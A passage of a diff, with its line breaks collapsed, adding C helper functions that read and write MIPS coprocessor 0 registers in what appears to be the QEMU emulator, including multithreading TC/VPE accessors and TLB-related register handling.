&cpu->tcs[tc].CP0_TCStatus; + } + + *tcst &= ~0xff; + *tcst |= asid; +} + +/* CP0 helpers */ +target_ulong helper_mfc0_mvpcontrol(CPUMIPSState *env) +{ + return env->mvp->CP0_MVPControl; +} + +target_ulong helper_mfc0_mvpconf0(CPUMIPSState *env) +{ + return env->mvp->CP0_MVPConf0; +} + +target_ulong helper_mfc0_mvpconf1(CPUMIPSState *env) +{ + return env->mvp->CP0_MVPConf1; +} + +target_ulong helper_mfc0_random(CPUMIPSState *env) +{ + return (int32_t)cpu_mips_get_random(env); +} + +target_ulong helper_mfc0_tcstatus(CPUMIPSState *env) +{ + return env->active_tc.CP0_TCStatus; +} + +target_ulong helper_mftc0_tcstatus(CPUMIPSState *env) +{ + int other_tc = env->CP0_VPEControl & (0xff << CP0VPECo_TargTC); + CPUMIPSState *other = mips_cpu_map_tc(env, &other_tc); + + if (other_tc == other->current_tc) + return other->active_tc.CP0_TCStatus; + else + return other->tcs[other_tc].CP0_TCStatus; +} + +target_ulong helper_mfc0_tcbind(CPUMIPSState *env) +{ + return env->active_tc.CP0_TCBind; +} + +target_ulong helper_mftc0_tcbind(CPUMIPSState *env) +{ + int other_tc = env->CP0_VPEControl & (0xff << CP0VPECo_TargTC); + CPUMIPSState *other = mips_cpu_map_tc(env, &other_tc); + + if (other_tc == other->current_tc) + return other->active_tc.CP0_TCBind; + else + return other->tcs[other_tc].CP0_TCBind; +} + +target_ulong helper_mfc0_tcrestart(CPUMIPSState *env) +{ + return env->active_tc.PC; +} + +target_ulong helper_mftc0_tcrestart(CPUMIPSState *env) +{ + int other_tc = env->CP0_VPEControl & (0xff << CP0VPECo_TargTC); + CPUMIPSState *other = mips_cpu_map_tc(env, &other_tc); + + if (other_tc == other->current_tc) + return other->active_tc.PC; + else + return other->tcs[other_tc].PC; +} + +target_ulong helper_mfc0_tchalt(CPUMIPSState *env) +{ + return env->active_tc.CP0_TCHalt; +} + +target_ulong helper_mftc0_tchalt(CPUMIPSState *env) +{ + int other_tc = env->CP0_VPEControl & (0xff << CP0VPECo_TargTC); + CPUMIPSState *other = mips_cpu_map_tc(env, &other_tc); + + if (other_tc == other->current_tc) + return other->active_tc.CP0_TCHalt; + else + return other->tcs[other_tc].CP0_TCHalt; +} + +target_ulong helper_mfc0_tccontext(CPUMIPSState *env) +{ + return env->active_tc.CP0_TCContext; +} + +target_ulong helper_mftc0_tccontext(CPUMIPSState *env) +{ + int other_tc = env->CP0_VPEControl & (0xff << CP0VPECo_TargTC); + CPUMIPSState *other = mips_cpu_map_tc(env, &other_tc); + + if (other_tc == other->current_tc) + return other->active_tc.CP0_TCContext; + else + return other->tcs[other_tc].CP0_TCContext; +} + +target_ulong helper_mfc0_tcschedule(CPUMIPSState *env) +{ + return env->active_tc.CP0_TCSchedule; +} + +target_ulong helper_mftc0_tcschedule(CPUMIPSState *env) +{ + int other_tc = env->CP0_VPEControl & (0xff << CP0VPECo_TargTC); + CPUMIPSState *other = mips_cpu_map_tc(env, &other_tc); + + if (other_tc == other->current_tc) + return other->active_tc.CP0_TCSchedule; + else + return other->tcs[other_tc].CP0_TCSchedule; +} + +target_ulong helper_mfc0_tcschefback(CPUMIPSState *env) +{ + return env->active_tc.CP0_TCScheFBack; +} + +target_ulong helper_mftc0_tcschefback(CPUMIPSState *env) +{ + int other_tc = env->CP0_VPEControl & (0xff << CP0VPECo_TargTC); + CPUMIPSState *other = mips_cpu_map_tc(env, &other_tc); + + if (other_tc == other->current_tc) + return other->active_tc.CP0_TCScheFBack; + else + return other->tcs[other_tc].CP0_TCScheFBack; +} + +target_ulong helper_mfc0_count(CPUMIPSState *env) +{ + return (int32_t)cpu_mips_get_count(env); +} + +target_ulong helper_mftc0_entryhi(CPUMIPSState *env) +{ + int other_tc = env->CP0_VPEControl & (0xff << CP0VPECo_TargTC); + CPUMIPSState *other = mips_cpu_map_tc(env, &other_tc); + + return other->CP0_EntryHi; +} + +target_ulong helper_mftc0_cause(CPUMIPSState *env) +{ + int other_tc = env->CP0_VPEControl & (0xff << CP0VPECo_TargTC); + int32_t tccause; + CPUMIPSState *other = mips_cpu_map_tc(env, &other_tc); + + if (other_tc == other->current_tc) { + tccause = other->CP0_Cause; + } else { + tccause = other->CP0_Cause; + } + + return tccause; +} + +target_ulong helper_mftc0_status(CPUMIPSState *env) +{ + int other_tc = env->CP0_VPEControl & (0xff << CP0VPECo_TargTC); + CPUMIPSState *other = mips_cpu_map_tc(env, &other_tc); + + return other->CP0_Status; +} + +target_ulong helper_mfc0_lladdr(CPUMIPSState *env) +{ + return (int32_t)(env->lladdr >> env->CP0_LLAddr_shift); +} + +target_ulong helper_mfc0_watchlo(CPUMIPSState *env, uint32_t sel) +{ + return (int32_t)env->CP0_WatchLo[sel]; +} + +target_ulong helper_mfc0_watchhi(CPUMIPSState *env, uint32_t sel) +{ + return env->CP0_WatchHi[sel]; +} + +target_ulong helper_mfc0_debug(CPUMIPSState *env) +{ + target_ulong t0 = env->CP0_Debug; + if (env->hflags & MIPS_HFLAG_DM) + t0 |= 1 << CP0DB_DM; + + return t0; +} + +target_ulong helper_mftc0_debug(CPUMIPSState *env) +{ + int other_tc = env->CP0_VPEControl & (0xff << CP0VPECo_TargTC); + int32_t tcstatus; + CPUMIPSState *other = mips_cpu_map_tc(env, &other_tc); + + if (other_tc == other->current_tc) + tcstatus = other->active_tc.CP0_Debug_tcstatus; + else + tcstatus = other->tcs[other_tc].CP0_Debug_tcstatus; + + /* XXX: Might be wrong, check with EJTAG spec. */ + return (other->CP0_Debug & ~((1 << CP0DB_SSt) | (1 << CP0DB_Halt))) | + (tcstatus & ((1 << CP0DB_SSt) | (1 << CP0DB_Halt))); +} + +#if defined(TARGET_MIPS64) +target_ulong helper_dmfc0_tcrestart(CPUMIPSState *env) +{ + return env->active_tc.PC; +} + +target_ulong helper_dmfc0_tchalt(CPUMIPSState *env) +{ + return env->active_tc.CP0_TCHalt; +} + +target_ulong helper_dmfc0_tccontext(CPUMIPSState *env) +{ + return env->active_tc.CP0_TCContext; +} + +target_ulong helper_dmfc0_tcschedule(CPUMIPSState *env) +{ + return env->active_tc.CP0_TCSchedule; +} + +target_ulong helper_dmfc0_tcschefback(CPUMIPSState *env) +{ + return env->active_tc.CP0_TCScheFBack; +} + +target_ulong helper_dmfc0_lladdr(CPUMIPSState *env) +{ + return env->lladdr >> env->CP0_LLAddr_shift; +} + +target_ulong helper_dmfc0_watchlo(CPUMIPSState *env, uint32_t sel) +{ + return env->CP0_WatchLo[sel]; +} +#endif /* TARGET_MIPS64 */ + +void helper_mtc0_index(CPUMIPSState *env, target_ulong arg1) +{ + uint32_t index_p = env->CP0_Index & 0x80000000; + uint32_t tlb_index = arg1 & 0x7fffffff; + if (tlb_index < env->tlb->nb_tlb) { + if (env->insn_flags & ISA_MIPS32R6) { + index_p |= arg1 & 0x80000000; + } + env->CP0_Index = index_p | tlb_index; + } +} + +void helper_mtc0_mvpcontrol(CPUMIPSState *env, target_ulong arg1) +{ + uint32_t mask = 0; + uint32_t newval; + + if (env->CP0_VPEConf0 & (1 << CP0VPEC0_MVP)) + mask |= (1 << CP0MVPCo_CPA) | (1 << CP0MVPCo_VPC) | + (1 << CP0MVPCo_EVP); + if (env->mvp->CP0_MVPControl & (1 << CP0MVPCo_VPC)) + mask |= (1 << CP0MVPCo_STLB); + newval = (env->mvp->CP0_MVPControl & ~mask) | (arg1 & mask); + + // TODO: Enable/disable shared TLB, enable/disable VPEs. + + env->mvp->CP0_MVPControl = newval; +} + +void helper_mtc0_vpecontrol(CPUMIPSState *env, target_ulong arg1) +{ + uint32_t mask; + uint32_t newval; + + mask = (1 << CP0VPECo_YSI) | (1 << CP0VPECo_GSI) | + (1 << CP0VPECo_TE) | (0xff << CP0VPECo_TargTC); + newval = (env->CP0_VPEControl & ~mask) | (arg1 & mask); + + /* Yield scheduler intercept not implemented. */ + /* Gating storage scheduler intercept not implemented. */ + + // TODO: Enable/disable TCs. + + env->CP0_VPEControl = newval; +} + +void helper_mttc0_vpecontrol(CPUMIPSState *env, target_ulong arg1) +{ + int other_tc = env->CP0_VPEControl & (0xff << CP0VPECo_TargTC); + CPUMIPSState *other = mips_cpu_map_tc(env, &other_tc); + uint32_t mask; + uint32_t newval; + + mask = (1 << CP0VPECo_YSI) | (1 << CP0VPECo_GSI) | + (1 << CP0VPECo_TE) | (0xff << CP0VPECo_TargTC); + newval = (other->CP0_VPEControl & ~mask) | (arg1 & mask); + + /* TODO: Enable/disable TCs. */ + + other->CP0_VPEControl = newval; +} + +target_ulong helper_mftc0_vpecontrol(CPUMIPSState *env) +{ + int other_tc = env->CP0_VPEControl & (0xff << CP0VPECo_TargTC); + CPUMIPSState *other = mips_cpu_map_tc(env, &other_tc); + /* FIXME: Mask away return zero on read bits. */ + return other->CP0_VPEControl; +} + +target_ulong helper_mftc0_vpeconf0(CPUMIPSState *env) +{ + int other_tc = env->CP0_VPEControl & (0xff << CP0VPECo_TargTC); + CPUMIPSState *other = mips_cpu_map_tc(env, &other_tc); + + return other->CP0_VPEConf0; +} + +void helper_mtc0_vpeconf0(CPUMIPSState *env, target_ulong arg1) +{ + uint32_t mask = 0; + uint32_t newval; + + if (env->CP0_VPEConf0 & (1 << CP0VPEC0_MVP)) { + if (env->CP0_VPEConf0 & (1 << CP0VPEC0_VPA)) + mask |= (0xff << CP0VPEC0_XTC); + mask |= (1 << CP0VPEC0_MVP) | (1 << CP0VPEC0_VPA); + } + newval = (env->CP0_VPEConf0 & ~mask) | (arg1 & mask); + + // TODO: TC exclusive handling due to ERL/EXL. + + env->CP0_VPEConf0 = newval; +} + +void helper_mttc0_vpeconf0(CPUMIPSState *env, target_ulong arg1) +{ + int other_tc = env->CP0_VPEControl & (0xff << CP0VPECo_TargTC); + CPUMIPSState *other = mips_cpu_map_tc(env, &other_tc); + uint32_t mask = 0; + uint32_t newval; + + mask |= (1 << CP0VPEC0_MVP) | (1 << CP0VPEC0_VPA); + newval = (other->CP0_VPEConf0 & ~mask) | (arg1 & mask); + + /* TODO: TC exclusive handling due to ERL/EXL. */ + other->CP0_VPEConf0 = newval; +} + +void helper_mtc0_vpeconf1(CPUMIPSState *env, target_ulong arg1) +{ + uint32_t mask = 0; + uint32_t newval; + + if (env->mvp->CP0_MVPControl & (1 << CP0MVPCo_VPC)) + mask |= (0xff << CP0VPEC1_NCX) | (0xff << CP0VPEC1_NCP2) | + (0xff << CP0VPEC1_NCP1); + newval = (env->CP0_VPEConf1 & ~mask) | (arg1 & mask); + + /* UDI not implemented. */ + /* CP2 not implemented. */ + + // TODO: Handle FPU (CP1) binding. + + env->CP0_VPEConf1 = newval; +} + +void helper_mtc0_yqmask(CPUMIPSState *env, target_ulong arg1) +{ + /* Yield qualifier inputs not implemented. */ + env->CP0_YQMask = 0x00000000; +} + +void helper_mtc0_vpeopt(CPUMIPSState *env, target_ulong arg1) +{ + env->CP0_VPEOpt = arg1 & 0x0000ffff; +} + +void helper_mtc0_entrylo0(CPUMIPSState *env, target_ulong arg1) +{ + /* Large physaddr (PABITS) not implemented */ + /* 1k pages not implemented */ + target_ulong rxi = arg1 & (env->CP0_PageGrain & (3u << CP0PG_XIE)); + env->CP0_EntryLo0 = (arg1 & 0x3FFFFFFF) | (rxi << (CP0EnLo_XI - 30)); +} + +#if defined(TARGET_MIPS64) +void helper_dmtc0_entrylo0(CPUMIPSState *env, uint64_t arg1) +{ + uint64_t rxi = arg1 & ((env->CP0_PageGrain & (3ull << CP0PG_XIE)) << 32); + env->CP0_EntryLo0 = (arg1 & 0x3FFFFFFF) | rxi; +} +#endif + +void helper_mtc0_tcstatus(CPUMIPSState *env, target_ulong arg1) +{ + uint32_t mask = env->CP0_TCStatus_rw_bitmask; + uint32_t newval; + + newval = (env->active_tc.CP0_TCStatus & ~mask) | (arg1 & mask); + + env->active_tc.CP0_TCStatus = newval; + sync_c0_tcstatus(env, env->current_tc, newval); +} + +void helper_mttc0_tcstatus(CPUMIPSState *env, target_ulong arg1) +{ + int other_tc = env->CP0_VPEControl & (0xff << CP0VPECo_TargTC); + CPUMIPSState *other = mips_cpu_map_tc(env, &other_tc); + + if (other_tc == other->current_tc) + other->active_tc.CP0_TCStatus = arg1; + else + other->tcs[other_tc].CP0_TCStatus = arg1; + sync_c0_tcstatus(other, other_tc, arg1); +} + +void helper_mtc0_tcbind(CPUMIPSState *env, target_ulong arg1) +{ + uint32_t mask = (1 << CP0TCBd_TBE); + uint32_t newval; + + if (env->mvp->CP0_MVPControl & (1 << CP0MVPCo_VPC)) + mask |= (1 << CP0TCBd_CurVPE); + newval = (env->active_tc.CP0_TCBind & ~mask) | (arg1 & mask); + env->active_tc.CP0_TCBind = newval; +} + +void helper_mttc0_tcbind(CPUMIPSState *env, target_ulong arg1) +{ + int other_tc = env->CP0_VPEControl & (0xff << CP0VPECo_TargTC); + uint32_t mask = (1 << CP0TCBd_TBE); + uint32_t newval; + CPUMIPSState *other = mips_cpu_map_tc(env, &other_tc); + + if (other->mvp->CP0_MVPControl & (1 << CP0MVPCo_VPC)) + mask |= (1 << CP0TCBd_CurVPE); + if (other_tc == other->current_tc) { + newval = (other->active_tc.CP0_TCBind & ~mask) | (arg1 & mask); + other->active_tc.CP0_TCBind = newval; + } else { + newval = (other->tcs[other_tc].CP0_TCBind & ~mask) | (arg1 & mask); + other->tcs[other_tc].CP0_TCBind = newval; + } +} + +void helper_mtc0_tcrestart(CPUMIPSState *env, target_ulong arg1) +{ + env->active_tc.PC = arg1; + env->active_tc.CP0_TCStatus &= ~(1 << CP0TCSt_TDS); + env->lladdr = 0ULL; + /* MIPS16 not implemented. */ +} + +void helper_mttc0_tcrestart(CPUMIPSState *env, target_ulong arg1) +{ + int other_tc = env->CP0_VPEControl & (0xff << CP0VPECo_TargTC); + CPUMIPSState *other = mips_cpu_map_tc(env, &other_tc); + + if (other_tc == other->current_tc) { + other->active_tc.PC = arg1; + other->active_tc.CP0_TCStatus &= ~(1 << CP0TCSt_TDS); + other->lladdr = 0ULL; + /* MIPS16 not implemented. */ + } else { + other->tcs[other_tc].PC = arg1; + other->tcs[other_tc].CP0_TCStatus &= ~(1 << CP0TCSt_TDS); + other->lladdr = 0ULL; + /* MIPS16 not implemented. */ + } +} + +void helper_mtc0_tchalt(CPUMIPSState *env, target_ulong arg1) +{ + MIPSCPU *cpu = mips_env_get_cpu(env); + + env->active_tc.CP0_TCHalt = arg1 & 0x1; + + // TODO: Halt TC / Restart (if allocated+active) TC. + if (env->active_tc.CP0_TCHalt & 1) { + mips_tc_sleep(cpu, env->current_tc); + } else { + mips_tc_wake(cpu, env->current_tc); + } +} + +void helper_mttc0_tchalt(CPUMIPSState *env, target_ulong arg1) +{ + int other_tc = env->CP0_VPEControl & (0xff << CP0VPECo_TargTC); + CPUMIPSState *other = mips_cpu_map_tc(env, &other_tc); + MIPSCPU *other_cpu = mips_env_get_cpu(other); + + // TODO: Halt TC / Restart (if allocated+active) TC. + + if (other_tc == other->current_tc) + other->active_tc.CP0_TCHalt = arg1; + else + other->tcs[other_tc].CP0_TCHalt = arg1; + + if (arg1 & 1) { + mips_tc_sleep(other_cpu, other_tc); + } else { + mips_tc_wake(other_cpu, other_tc); + } +} + +void helper_mtc0_tccontext(CPUMIPSState *env, target_ulong arg1) +{ + env->active_tc.CP0_TCContext = arg1; +} + +void helper_mttc0_tccontext(CPUMIPSState *env, target_ulong arg1) +{ + int other_tc = env->CP0_VPEControl & (0xff << CP0VPECo_TargTC); + CPUMIPSState *other = mips_cpu_map_tc(env, &other_tc); + + if (other_tc == other->current_tc) + other->active_tc.CP0_TCContext = arg1; + else + other->tcs[other_tc].CP0_TCContext = arg1; +} + +void helper_mtc0_tcschedule(CPUMIPSState *env, target_ulong arg1) +{ + env->active_tc.CP0_TCSchedule = arg1; +} + +void helper_mttc0_tcschedule(CPUMIPSState *env, target_ulong arg1) +{ + int other_tc = env->CP0_VPEControl & (0xff << CP0VPECo_TargTC); + CPUMIPSState *other = mips_cpu_map_tc(env, &other_tc); + + if (other_tc == other->current_tc) + other->active_tc.CP0_TCSchedule = arg1; + else + other->tcs[other_tc].CP0_TCSchedule = arg1; +} + +void helper_mtc0_tcschefback(CPUMIPSState *env, target_ulong arg1) +{ + env->active_tc.CP0_TCScheFBack = arg1; +} + +void helper_mttc0_tcschefback(CPUMIPSState *env, target_ulong arg1) +{ + int other_tc = env->CP0_VPEControl & (0xff << CP0VPECo_TargTC); + CPUMIPSState *other = mips_cpu_map_tc(env, &other_tc); + + if (other_tc == other->current_tc) + other->active_tc.CP0_TCScheFBack = arg1; + else + other->tcs[other_tc].CP0_TCScheFBack = arg1; +} + +void helper_mtc0_entrylo1(CPUMIPSState *env, target_ulong arg1) +{ + /* Large physaddr (PABITS) not implemented */ + /* 1k pages not implemented */ + target_ulong rxi = arg1 & (env->CP0_PageGrain & (3u << CP0PG_XIE)); + env->CP0_EntryLo1 = (arg1 & 0x3FFFFFFF) | (rxi << (CP0EnLo_XI - 30)); +} + +#if defined(TARGET_MIPS64) +void helper_dmtc0_entrylo1(CPUMIPSState *env, uint64_t arg1) +{ + uint64_t rxi = arg1 & ((env->CP0_PageGrain & (3ull << CP0PG_XIE)) << 32); + env->CP0_EntryLo1 = (arg1 & 0x3FFFFFFF) | rxi; +} +#endif + +void helper_mtc0_context(CPUMIPSState *env, target_ulong arg1) +{ + env->CP0_Context = (env->CP0_Context & 0x007FFFFF) | (arg1 & ~0x007FFFFF); +} + +void helper_mtc0_pagemask(CPUMIPSState *env, target_ulong arg1) +{ + uint64_t mask = arg1 >> (TARGET_PAGE_BITS + 1); + if (!(env->insn_flags & ISA_MIPS32R6) || (arg1 == ~0) || + (mask == 0x0000 || mask == 0x0003 || mask == 0x000F || + mask == 0x003F || mask == 0x00FF || mask == 0x03FF || + mask == 0x0FFF || mask == 0x3FFF || mask == 0xFFFF)) { + env->CP0_PageMask = arg1 & (0x1FFFFFFF & (((unsigned int)TARGET_PAGE_MASK) << 1)); + } +} + +void helper_mtc0_pagegrain(CPUMIPSState *env, target_ulong arg1) +{ + /* SmartMIPS not implemented */ + /* Large physaddr (PABITS) not implemented */ + /* 1k pages not implemented */ + env->CP0_PageGrain = (arg1 & env->CP0_PageGrain_rw_bitmask) | + (env->CP0_PageGrain & ~env->CP0_PageGrain_rw_bitmask); +} + +void helper_mtc0_wired(CPUMIPSState *env, target_ulong arg1) +{ + if (env->insn_flags & ISA_MIPS32R6) { + if (arg1 < env->tlb->nb_tlb) { + env->CP0_Wired = arg1; + } + } else { + env->CP0_Wired = arg1 % env->tlb->nb_tlb; + } +} + +void helper_mtc0_srsconf0(CPUMIPSState *env, target_ulong arg1) +{ + env->CP0_SRSConf0 |= arg1 & env->CP0_SRSConf0_rw_bitmask; +} + +void helper_mtc0_srsconf1(CPUMIPSState *env, target_ulong arg1) +{ + env->CP0_SRSConf1 |= arg1 & env->CP0_SRSConf1_rw_bitmask; +} + +void helper_mtc0_srsconf2(CPUMIPSState *env, target_ulong arg1) +{ + env->CP0_SRSConf2 |= arg1 & env->CP0_SRSConf2_rw_bitmask; +} + +void helper_mtc0_srsconf3(CPUMIPSState *env, target_ulong arg1) +{ + env->CP0_SRSConf3 |= arg1 & env->CP0_SRSConf3_rw_bitmask; +} + +void helper_mtc0_srsconf4(CPUMIPSState *env, target_ulong arg1) +{ + env->CP0_SRSConf4 |= arg1 & env->CP0_SRSConf4_rw_bitmask; +} + +void helper_mtc0_hwrena(CPUMIPSState *env, target_ulong arg1) +{ + uint32_t mask = 0x0000000F; + + if (env->CP0_Config3 & (1 << CP0C3_ULRI)) { + mask |= (1 << 29); + + if (arg1 & (1 << 29)) { + env->hflags |= MIPS_HFLAG_HWRENA_ULR; + } else { + env->hflags &= ~MIPS_HFLAG_HWRENA_ULR; + } + } + + env->CP0_HWREna = arg1 & mask; +} + +void helper_mtc0_count(CPUMIPSState *env, target_ulong arg1) +{ + cpu_mips_store_count(env, arg1); +} + +void helper_mtc0_entryhi(CPUMIPSState *env, target_ulong arg1) +{ + target_ulong old, val, mask; + mask = (((unsigned int)TARGET_PAGE_MASK) << 1) | 0xFF; + if (((env->CP0_Config4 >> CP0C4_IE) & 0x3) >= 2) { + mask |= 1 << CP0EnHi_EHINV; + } + + /* 1k pages not implemented */ +#if defined(TARGET_MIPS64) + if (env->insn_flags & ISA_MIPS32R6) { + int entryhi_r = extract64(arg1, 62, 2); + int config0_at = extract32(env->CP0_Config0, 13, 2); + bool no_supervisor = (env->CP0_Status_rw_bitmask & 0x8) == 0; + if ((entryhi_r == 2) || + (entryhi_r == 1 && (no_supervisor || config0_at == 1))) { + /* skip EntryHi.R field if new value is reserved */ + mask &= ~(0x3ull << 62); + } + } + mask &= env->SEGMask; +#endif + old = env->CP0_EntryHi; + val = (arg1 & mask) | (old & ~mask); + env->CP0_EntryHi = val; + if (env->CP0_Config3 & (1 << CP0C3_MT)) { + sync_c0_entryhi(env, env->current_tc); + } + /* If the ASID changes, flush qemu's TLB. */ + if ((old & 0xFF) != (val & 0xFF)) + cpu_mips_tlb_flush(env, 1); +} + +void helper_mttc0_entryhi(CPUMIPSState *env, target_ulong arg1) +{ + int other_tc = env->CP0_VPEControl & (0xff << CP0VPECo_TargTC); + CPUMIPSState *other = mips_cpu_map_tc(env, &other_tc); + + other->CP0_EntryHi = arg1; + sync_c0_entryhi(other, other_tc); +} + +void helper_mtc0_compare(CPUMIPSState *env, target_ulong arg1) +{ + cpu_mips_store_compare(env, arg1); +} + +void helper_mtc0_status(CPUMIPSState *env, target_ulong arg1) +{ + MIPSCPU *cpu = mips_env_get_cpu(env); + uint32_t val, old; + uint32_t mask = env->CP0_Status_rw_bitmask; + + if (env->insn_flags & ISA_MIPS32R6) { + if (extract32(env->CP0_Status, CP0St_KSU, 2) == 0x3) { + mask &= ~(3 << CP0St_KSU); + } + mask &= ~(0x00180000 & arg1); + } + + val = arg1 & mask; + old = env->CP0_Status; + env->CP0_Status = (env->CP0_Status & ~mask) | val; + if (env->CP0_Config3 & (1 << CP0C3_MT)) { + sync_c0_status(env, env, env->current_tc); + } else { + compute_hflags(env); + } + + if (qemu_loglevel_mask(CPU_LOG_EXEC)) { + qemu_log("Status %08x (%08x) => %08x (%08x) Cause %08x", + old, old & env->CP0_Cause & CP0Ca_IP_mask, + val, val & env->CP0_Cause & CP0Ca_IP_mask, + env->CP0_Cause); + switch (env->hflags & MIPS_HFLAG_KSU) { + case MIPS_HFLAG_UM: qemu_log(", UM\n"); break; + case MIPS_HFLAG_SM: qemu_log(", SM\n"); break; + case MIPS_HFLAG_KM: qemu_log("\n"); break; + default: + cpu_abort(CPU(cpu), "Invalid MMU mode!\n"); + break; + } + } +} + +void helper_mttc0_status(CPUMIPSState *env, target_ulong arg1) +{ + int other_tc = env->CP0_VPEControl & (0xff << CP0VPECo_TargTC); + CPUMIPSState *other = mips_cpu_map_tc(env, &other_tc); + + other->CP0_Status = arg1 & ~0xf1000018; + sync_c0_status(env, other, other_tc); +} + +void helper_mtc0_intctl(CPUMIPSState *env, target_ulong arg1) +{ + /* vectored interrupts not implemented, no performance counters. */ + env->CP0_IntCtl = (env->CP0_IntCtl & ~0x000003e0) | (arg1 & 0x000003e0); +} + +void helper_mtc0_srsctl(CPUMIPSState *env, target_ulong arg1) +{ + uint32_t mask = (0xf << CP0SRSCtl_ESS) | (0xf << CP0SRSCtl_PSS); + env->CP0_SRSCtl = (env->CP0_SRSCtl & ~mask) | (arg1 & mask); +} + +static void mtc0_cause(CPUMIPSState *cpu, target_ulong arg1) +{ + uint32_t mask = 0x00C00300; + uint32_t old = cpu->CP0_Cause; + + if (cpu->insn_flags & ISA_MIPS32R2) { + mask |= 1 << CP0Ca_DC; + } + if (cpu->insn_flags & ISA_MIPS32R6) { + mask &= ~((1 << CP0Ca_WP) & arg1); + } + + cpu->CP0_Cause = (cpu->CP0_Cause & ~mask) | (arg1 & mask); + + if ((old ^ cpu->CP0_Cause) & (1 << CP0Ca_DC)) { + if (cpu->CP0_Cause & (1 << CP0Ca_DC)) { + cpu_mips_stop_count(cpu); + } else { + cpu_mips_start_count(cpu); + } + } + +#if 0 + int i; + /* Set/reset software interrupts */ + for (i = 0 ; i < 2 ; i++) { + if ((old ^ cpu->CP0_Cause) & (1 << (CP0Ca_IP + i))) { + cpu_mips_soft_irq(cpu, i, cpu->CP0_Cause & (1 << (CP0Ca_IP + i))); + } + } +#endif +} + +void helper_mtc0_cause(CPUMIPSState *env, target_ulong arg1) +{ + mtc0_cause(env, arg1); +} + +void helper_mttc0_cause(CPUMIPSState *env, target_ulong arg1) +{ + int other_tc = env->CP0_VPEControl & (0xff << CP0VPECo_TargTC); + CPUMIPSState *other = mips_cpu_map_tc(env, &other_tc); + + mtc0_cause(other, arg1); +} + +target_ulong helper_mftc0_epc(CPUMIPSState *env) +{ + int other_tc = env->CP0_VPEControl & (0xff << CP0VPECo_TargTC); + CPUMIPSState *other = mips_cpu_map_tc(env, &other_tc); + + return other->CP0_EPC; +} + +target_ulong helper_mftc0_ebase(CPUMIPSState *env) +{ + int other_tc = env->CP0_VPEControl & (0xff << CP0VPECo_TargTC); + CPUMIPSState *other = mips_cpu_map_tc(env, &other_tc); + + return other->CP0_EBase; +} + +void helper_mtc0_ebase(CPUMIPSState *env, target_ulong arg1) +{ + /* vectored interrupts not implemented */ + env->CP0_EBase = (env->CP0_EBase & ~0x3FFFF000) | (arg1 & 0x3FFFF000); +} + +void helper_mttc0_ebase(CPUMIPSState *env, target_ulong arg1) +{ + int other_tc = env->CP0_VPEControl & (0xff << CP0VPECo_TargTC); + CPUMIPSState *other = mips_cpu_map_tc(env, &other_tc); + other->CP0_EBase = (other->CP0_EBase & ~0x3FFFF000) | (arg1 & 0x3FFFF000); +} + +target_ulong helper_mftc0_configx(CPUMIPSState *env, target_ulong idx) +{ + int other_tc = env->CP0_VPEControl & (0xff << CP0VPECo_TargTC); + CPUMIPSState *other = mips_cpu_map_tc(env, &other_tc); + + switch (idx) { + case 0: return other->CP0_Config0; + case 1: return other->CP0_Config1; + case 2: return other->CP0_Config2; + case 3: return other->CP0_Config3; + /* 4 and 5 are reserved. */ + case 6: return other->CP0_Config6; + case 7: return other->CP0_Config7; + default: + break; + } + return 0; +} + +void helper_mtc0_config0(CPUMIPSState *env, target_ulong arg1) +{ + env->CP0_Config0 = (env->CP0_Config0 & 0x81FFFFF8) | (arg1 & 0x00000007); +} + +void helper_mtc0_config2(CPUMIPSState *env, target_ulong arg1) +{ + /* tertiary/secondary caches not implemented */ + env->CP0_Config2 = (env->CP0_Config2 & 0x8FFF0FFF); +} + +void helper_mtc0_config4(CPUMIPSState *env, target_ulong arg1) +{ + env->CP0_Config4 = (env->CP0_Config4 & (~env->CP0_Config4_rw_bitmask)) | + (arg1 & env->CP0_Config4_rw_bitmask); +} + +void helper_mtc0_config5(CPUMIPSState *env, target_ulong arg1) +{ + env->CP0_Config5 = (env->CP0_Config5 & (~env->CP0_Config5_rw_bitmask)) | + (arg1 & env->CP0_Config5_rw_bitmask); + compute_hflags(env); +} + +void helper_mtc0_lladdr(CPUMIPSState *env, target_ulong arg1) +{ + target_long mask = env->CP0_LLAddr_rw_bitmask; + arg1 = arg1 << env->CP0_LLAddr_shift; + env->lladdr = (env->lladdr & ~mask) | (arg1 & mask); +} + +void helper_mtc0_watchlo(CPUMIPSState *env, target_ulong arg1, uint32_t sel) +{ + /* Watch exceptions for instructions, data loads, data stores + not implemented. */ + env->CP0_WatchLo[sel] = (arg1 & ~0x7); +} + +void helper_mtc0_watchhi(CPUMIPSState *env, target_ulong arg1, uint32_t sel) +{ + env->CP0_WatchHi[sel] = (arg1 & 0x40FF0FF8); + env->CP0_WatchHi[sel] &= ~(env->CP0_WatchHi[sel] & arg1 & 0x7); +} + +void helper_mtc0_xcontext(CPUMIPSState *env, target_ulong arg1) +{ + target_ulong mask = (1ULL << (env->SEGBITS - 7)) - 1; + env->CP0_XContext = (env->CP0_XContext & mask) | (arg1 & ~mask); +} + +void helper_mtc0_framemask(CPUMIPSState *env, target_ulong arg1) +{ + env->CP0_Framemask = arg1; /* XXX */ +} + +void helper_mtc0_debug(CPUMIPSState *env, target_ulong arg1) +{ + env->CP0_Debug = (env->CP0_Debug & 0x8C03FC1F) | (arg1 & 0x13300120); + if (arg1 & (1 << CP0DB_DM)) + env->hflags |= MIPS_HFLAG_DM; + else + env->hflags &= ~MIPS_HFLAG_DM; +} + +void helper_mttc0_debug(CPUMIPSState *env, target_ulong arg1) +{ + int other_tc = env->CP0_VPEControl & (0xff << CP0VPECo_TargTC); + uint32_t val = arg1 & ((1 << CP0DB_SSt) | (1 << CP0DB_Halt)); + CPUMIPSState *other = mips_cpu_map_tc(env, &other_tc); + + /* XXX: Might be wrong, check with EJTAG spec. */ + if (other_tc == other->current_tc) + other->active_tc.CP0_Debug_tcstatus = val; + else + other->tcs[other_tc].CP0_Debug_tcstatus = val; + other->CP0_Debug = (other->CP0_Debug & + ((1 << CP0DB_SSt) | (1 << CP0DB_Halt))) | + (arg1 & ~((1 << CP0DB_SSt) | (1 << CP0DB_Halt))); +} + +void helper_mtc0_performance0(CPUMIPSState *env, target_ulong arg1) +{ + env->CP0_Performance0 = arg1 & 0x000007ff; +} + +void helper_mtc0_taglo(CPUMIPSState *env, target_ulong arg1) +{ + env->CP0_TagLo = arg1 & 0xFFFFFCF6; +} + +void helper_mtc0_datalo(CPUMIPSState *env, target_ulong arg1) +{ + env->CP0_DataLo = arg1; /* XXX */ +} + +void helper_mtc0_taghi(CPUMIPSState *env, target_ulong arg1) +{ + env->CP0_TagHi = arg1; /* XXX */ +} + +void helper_mtc0_datahi(CPUMIPSState *env, target_ulong 